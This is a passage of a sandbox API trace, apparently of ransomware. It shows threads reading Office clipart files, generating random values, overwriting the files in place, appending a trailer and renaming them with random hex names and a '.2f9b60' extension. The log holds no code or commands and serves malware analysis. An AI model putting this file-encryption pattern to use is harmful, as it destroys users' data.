_Dest=0x1b7aa7ba, _Format="%c%c" | out: _Dest="f5") returned 2 [0201.503] sprintf (in: _Dest=0x1b7aa7bc, _Format="%c%c" | out: _Dest="30") returned 2 [0201.503] sprintf (in: _Dest=0x1b7aa7be, _Format="%c%c" | out: _Dest="8c") returned 2 [0201.503] sprintf (in: _Dest=0x1b7aa7c0, _Format="%c%c" | out: _Dest="cd") returned 2 [0201.503] sprintf (in: _Dest=0x1b7aa7c2, _Format="%c%c" | out: _Dest="31") returned 2 [0201.503] sprintf (in: _Dest=0x1b7aa7c4, _Format="%c%c" | out: _Dest="b7") returned 2 [0201.503] sprintf (in: _Dest=0x1b7aa7c6, _Format="%c%c" | out: _Dest="c6") returned 2 [0201.503] sprintf (in: _Dest=0x1b7aa7c8, _Format="%c%c" | out: _Dest="cd") returned 2 [0201.503] sprintf (in: _Dest=0x1b7aa7ca, _Format="%c%c" | out: _Dest="79") returned 2 [0201.503] sprintf (in: _Dest=0x1b7aa7cc, _Format="%c%c" | out: _Dest="eb") returned 2 [0201.503] sprintf (in: _Dest=0x1b7aa7ce, _Format="%c%c" | out: _Dest="6b") returned 2 [0201.503] RtlInitAnsiString (in: DestinationString=0x1f8afd28, SourceString="ab96fe200335dd3eb5ec907818f5308ccd31b7c6cd79eb6b" | out: DestinationString="ab96fe200335dd3eb5ec907818f5308ccd31b7c6cd79eb6b") [0201.503] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f8afcf8, SourceString="ab96fe200335dd3eb5ec907818f5308ccd31b7c6cd79eb6b", AllocateDestinationString=1 | out: DestinationString="ab96fe200335dd3eb5ec907818f5308ccd31b7c6cd79eb6b") returned 0x0 [0201.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863e30 [0201.504] wcscat (in: _Dest=0x43196a40, _Source="ab96fe200335" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ab96fe200335") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ab96fe200335" [0201.504] wcscat (in: _Dest=0x43196a40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ab96fe200335.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ab96fe200335.2f9b60" [0201.504] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ab96fe200335.2f9b60", NtPathName=0x1f8afcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ab96fe200335.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x4314b860 Thread: id = 1514 os_tid = 0x19fc [0120.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x20 [0122.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF", dwFileAttributes=0x20) returned 1 [0122.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xee8 [0122.673] GetFileSizeEx (in: hFile=0xee8, lpFileSize=0x1e98f780 | out: lpFileSize=0x1e98f780*=11500) returned 1 [0122.673] SetFilePointerEx (in: hFile=0xee8, liDistanceToMove=0x2ce8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.673] ReadFile (in: hFile=0xee8, lpBuffer=0x1e98f700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e98f748, lpOverlapped=0x0 | out: lpBuffer=0x1e98f700*, lpNumberOfBytesRead=0x1e98f748*=0x4, lpOverlapped=0x0) returned 1 [0122.698] SetFilePointerEx (in: hFile=0xee8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a990 [0122.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e500 [0122.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e590 [0122.699] NtQuerySystemTime (in: CurrentTime=0x1e98f640 | out: CurrentTime=0x1e98f640*=132462177280834000) returned 0x0 [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x26651ca4 [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x2993c0c1 [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x3c69e256 [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x2bb204db [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x5e0f5f22 [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x34a489f3 [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x716b7a0e [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x7ab2ca9 [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x2895f2e2 [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x59445ddb [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x40cc889b [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x4be5996a [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x3ba731c1 [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x4e3e8029 [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x4076cab8 [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x5afd2a37 [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x819a68a [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x4076cab8 [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x6dda02fe [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x12db2ac0 [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x3e950e17 [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x819a68a [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x49dc0908 [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x1ca902a2 [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x17f843ed [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x13dc3f40 [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x1de11d44 [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x32a53118 [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x5c0611e7 [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x280417 [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0xc011168 [0122.699] RtlRandomEx (in: Seed=0x1e98f630 | out: Seed=0x1e98f630) returned 0x49d6c52c [0122.707] ReadFile (in: hFile=0xee8, lpBuffer=0x201900b0, nNumberOfBytesToRead=0x2cec, lpNumberOfBytesRead=0x1e98f630, lpOverlapped=0x0 | out: lpBuffer=0x201900b0*, lpNumberOfBytesRead=0x1e98f630*=0x2cec, lpOverlapped=0x0) returned 1 [0122.765] SetFilePointerEx (in: hFile=0xee8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.765] WriteFile (in: hFile=0xee8, lpBuffer=0x2019b4e0*, nNumberOfBytesToWrite=0x2cec, lpNumberOfBytesWritten=0x1e98f634, lpOverlapped=0x0 | out: lpBuffer=0x2019b4e0*, lpNumberOfBytesWritten=0x1e98f634*=0x2cec, lpOverlapped=0x0) returned 1 [0160.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2570 [0160.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a25a0 [0160.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a25a0) returned 1 [0160.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2019b4e0) returned 1 [0160.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201900b0) returned 1 [0160.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f90) returned 1 [0160.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596a0) returned 1 [0160.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a25a0 [0160.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420596a0 [0160.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f90 [0160.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a25d0 [0160.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a25d0) returned 1 [0160.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a25d0 [0160.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2600 [0160.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2630 [0160.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2630) returned 1 [0160.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f90) returned 1 [0160.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596a0) returned 1 [0160.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce13670 [0160.853] SetFilePointerEx (in: hFile=0xee8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.853] WriteFile (in: hFile=0xee8, lpBuffer=0x1ce13670*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1e98f750, lpOverlapped=0x0 | out: lpBuffer=0x1ce13670*, lpNumberOfBytesWritten=0x1e98f750*=0x10a, lpOverlapped=0x0) returned 1 [0165.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0165.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0165.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ecb0 [0165.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ecb0) returned 1 [0165.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0165.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ecb0 [0165.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ec80 [0165.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ec80) returned 1 [0165.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0165.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0165.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fc70 [0165.468] sprintf (in: _Dest=0x1cd9fc70, _Format="%c%c" | out: _Dest="44") returned 2 [0165.468] sprintf (in: _Dest=0x1cd9fc72, _Format="%c%c" | out: _Dest="2e") returned 2 [0165.468] sprintf (in: _Dest=0x1cd9fc74, _Format="%c%c" | out: _Dest="35") returned 2 [0165.468] sprintf (in: _Dest=0x1cd9fc76, _Format="%c%c" | out: _Dest="ca") returned 2 [0165.468] sprintf (in: _Dest=0x1cd9fc78, _Format="%c%c" | out: _Dest="7f") returned 2 [0165.468] sprintf (in: _Dest=0x1cd9fc7a, _Format="%c%c" | out: _Dest="9d") returned 2 [0165.468] sprintf (in: _Dest=0x1cd9fc7c, _Format="%c%c" | out: _Dest="f4") returned 2 [0165.468] sprintf (in: _Dest=0x1cd9fc7e, _Format="%c%c" | out: _Dest="43") returned 2 [0165.468] sprintf (in: _Dest=0x1cd9fc80, _Format="%c%c" | out: _Dest="48") returned 2 [0165.468] sprintf (in: _Dest=0x1cd9fc82, _Format="%c%c" | out: _Dest="c1") returned 2 [0165.468] sprintf (in: _Dest=0x1cd9fc84, _Format="%c%c" | out: _Dest="18") returned 2 [0165.468] sprintf (in: _Dest=0x1cd9fc86, _Format="%c%c" | out: _Dest="4f") returned 2 [0165.468] sprintf (in: _Dest=0x1cd9fc88, _Format="%c%c" | out: _Dest="9b") returned 2 [0165.469] sprintf (in: _Dest=0x1cd9fc8a, _Format="%c%c" | out: _Dest="76") returned 2 [0165.469] sprintf (in: _Dest=0x1cd9fc8c, _Format="%c%c" | out: _Dest="10") returned 2 [0165.469] sprintf (in: _Dest=0x1cd9fc8e, _Format="%c%c" | out: _Dest="e2") returned 2 [0165.469] sprintf (in: _Dest=0x1cd9fc90, _Format="%c%c" | out: _Dest="b5") returned 2 [0165.469] sprintf (in: _Dest=0x1cd9fc92, _Format="%c%c" | out: _Dest="35") returned 2 [0165.469] sprintf (in: _Dest=0x1cd9fc94, _Format="%c%c" | out: _Dest="3f") returned 2 [0165.469] sprintf (in: _Dest=0x1cd9fc96, _Format="%c%c" | out: _Dest="bc") returned 2 [0165.469] sprintf (in: _Dest=0x1cd9fc98, _Format="%c%c" | out: _Dest="7f") returned 2 [0165.469] sprintf (in: _Dest=0x1cd9fc9a, _Format="%c%c" | out: _Dest="64") returned 2 [0165.469] sprintf (in: _Dest=0x1cd9fc9c, _Format="%c%c" | out: _Dest="4b") returned 2 [0165.469] sprintf (in: _Dest=0x1cd9fc9e, _Format="%c%c" | out: _Dest="72") returned 2 [0165.469] RtlInitAnsiString (in: DestinationString=0x1e98f7c8, SourceString="442e35ca7f9df44348c1184f9b7610e2b5353fbc7f644b72" | out: DestinationString="442e35ca7f9df44348c1184f9b7610e2b5353fbc7f644b72") [0165.469] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e98f798, SourceString="442e35ca7f9df44348c1184f9b7610e2b5353fbc7f644b72", AllocateDestinationString=1 | out: DestinationString="442e35ca7f9df44348c1184f9b7610e2b5353fbc7f644b72") returned 0x0 [0165.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce14f10 [0165.469] RtlFreeAnsiString (AnsiString="4") [0165.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fc70) returned 1 [0165.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0165.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ecb0) returned 1 [0165.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce13670) returned 1 [0165.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a25d0) returned 1 [0165.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2600) returned 1 [0165.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a25a0) returned 1 [0165.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2570) returned 1 [0165.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e500) returned 1 [0165.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e5c0) returned 1 [0165.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e5f0) returned 1 [0165.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c308b0 [0165.472] wcscat (in: _Dest=0x42c308b0, _Source="442e35ca7f9d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\442e35ca7f9d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\442e35ca7f9d" [0165.472] wcscat (in: _Dest=0x42c308b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\442e35ca7f9d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\442e35ca7f9d.2f9b60" [0165.472] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\442e35ca7f9d.2f9b60", NtPathName=0x1e98f770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\442e35ca7f9d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c36390 Thread: id = 1515 os_tid = 0x1a00 [0120.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x20 [0122.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF", dwFileAttributes=0x20) returned 1 [0122.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17f8 [0123.468] GetFileSizeEx (in: hFile=0x17f8, lpFileSize=0x1f92f680 | out: lpFileSize=0x1f92f680*=4408) returned 1 [0123.468] SetFilePointerEx (in: hFile=0x17f8, liDistanceToMove=0x1134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.468] ReadFile (in: hFile=0x17f8, lpBuffer=0x1f92f600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f92f648, lpOverlapped=0x0 | out: lpBuffer=0x1f92f600*, lpNumberOfBytesRead=0x1f92f648*=0x4, lpOverlapped=0x0) returned 1 [0123.587] SetFilePointerEx (in: hFile=0x17f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f1c0 [0123.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f220 [0123.587] NtQuerySystemTime (in: CurrentTime=0x1f92f540 | out: CurrentTime=0x1f92f540*=132462177289726000) returned 0x0 [0123.587] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x16a2488d [0123.587] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0xda46d12 [0123.587] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x5a0d27d5 [0123.587] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x5b52ed42 [0123.587] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x23826c42 [0123.587] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0xa26cd7d [0123.587] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x8a58500 [0123.587] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x704357d2 [0123.587] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x8d05dc0 [0123.588] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x47ec56c0 [0123.588] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x153b2ae0 [0123.588] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x31611046 [0123.588] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x8a58500 [0123.588] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x1662c0f0 [0123.588] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x5340789f [0123.588] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x7fe7653e [0123.588] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0xa70547e [0123.588] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x611dcab8 [0123.588] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x2f47dfb0 [0123.588] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x1c0b7f13 [0123.588] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x47eed00d [0123.588] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x6896e5d6 [0123.588] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x376fc6b6 [0123.588] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x3dda036a [0123.588] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x7f8e6e15 [0123.588] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x278baa39 [0123.588] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x2563d6a9 [0123.588] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x3cd7358c [0123.588] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0xe5c443d [0123.588] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x1fcb03ca [0123.589] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x1224339c [0123.589] RtlRandomEx (in: Seed=0x1f92f530 | out: Seed=0x1f92f530) returned 0x541ce82 [0123.603] ReadFile (in: hFile=0x17f8, lpBuffer=0x1ce95a30, nNumberOfBytesToRead=0x1138, lpNumberOfBytesRead=0x1f92f530, lpOverlapped=0x0 | out: lpBuffer=0x1ce95a30*, lpNumberOfBytesRead=0x1f92f530*=0x1138, lpOverlapped=0x0) returned 1 [0123.973] SetFilePointerEx (in: hFile=0x17f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.973] WriteFile (in: hFile=0x17f8, lpBuffer=0x1ce99640*, nNumberOfBytesToWrite=0x1138, lpNumberOfBytesWritten=0x1f92f534, lpOverlapped=0x0 | out: lpBuffer=0x1ce99640*, lpNumberOfBytesWritten=0x1f92f534*=0x1138, lpOverlapped=0x0) returned 1 [0123.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e320 [0123.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dcc0 [0123.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dcc0) returned 1 [0123.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce99640) returned 1 [0123.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce95a30) returned 1 [0123.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504110) returned 1 [0123.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0123.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050dcc0 [0123.980] SetFilePointerEx (in: hFile=0x17f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0123.980] WriteFile (in: hFile=0x17f8, lpBuffer=0x167040*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1f92f650, lpOverlapped=0x0 | out: lpBuffer=0x167040*, lpNumberOfBytesWritten=0x1f92f650*=0x10a, lpOverlapped=0x0) returned 1 [0123.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059920 [0123.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0123.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e140 [0123.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e140) returned 1 [0123.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0123.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e140 [0123.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dde0 [0123.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dde0) returned 1 [0123.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0123.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059920) returned 1 [0123.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0123.984] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="69") returned 2 [0123.984] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="81") returned 2 [0123.984] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="d6") returned 2 [0123.984] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="56") returned 2 [0123.984] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="50") returned 2 [0123.984] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="6f") returned 2 [0123.984] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="e3") returned 2 [0123.984] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="2e") returned 2 [0123.984] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="49") returned 2 [0123.984] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="69") returned 2 [0123.984] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="a4") returned 2 [0123.984] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="41") returned 2 [0123.985] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="37") returned 2 [0123.985] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="6b") returned 2 [0123.985] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="76") returned 2 [0123.985] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="e5") returned 2 [0123.985] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="7a") returned 2 [0123.985] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="29") returned 2 [0123.985] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="1f") returned 2 [0123.985] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="e7") returned 2 [0123.985] sprintf (in: 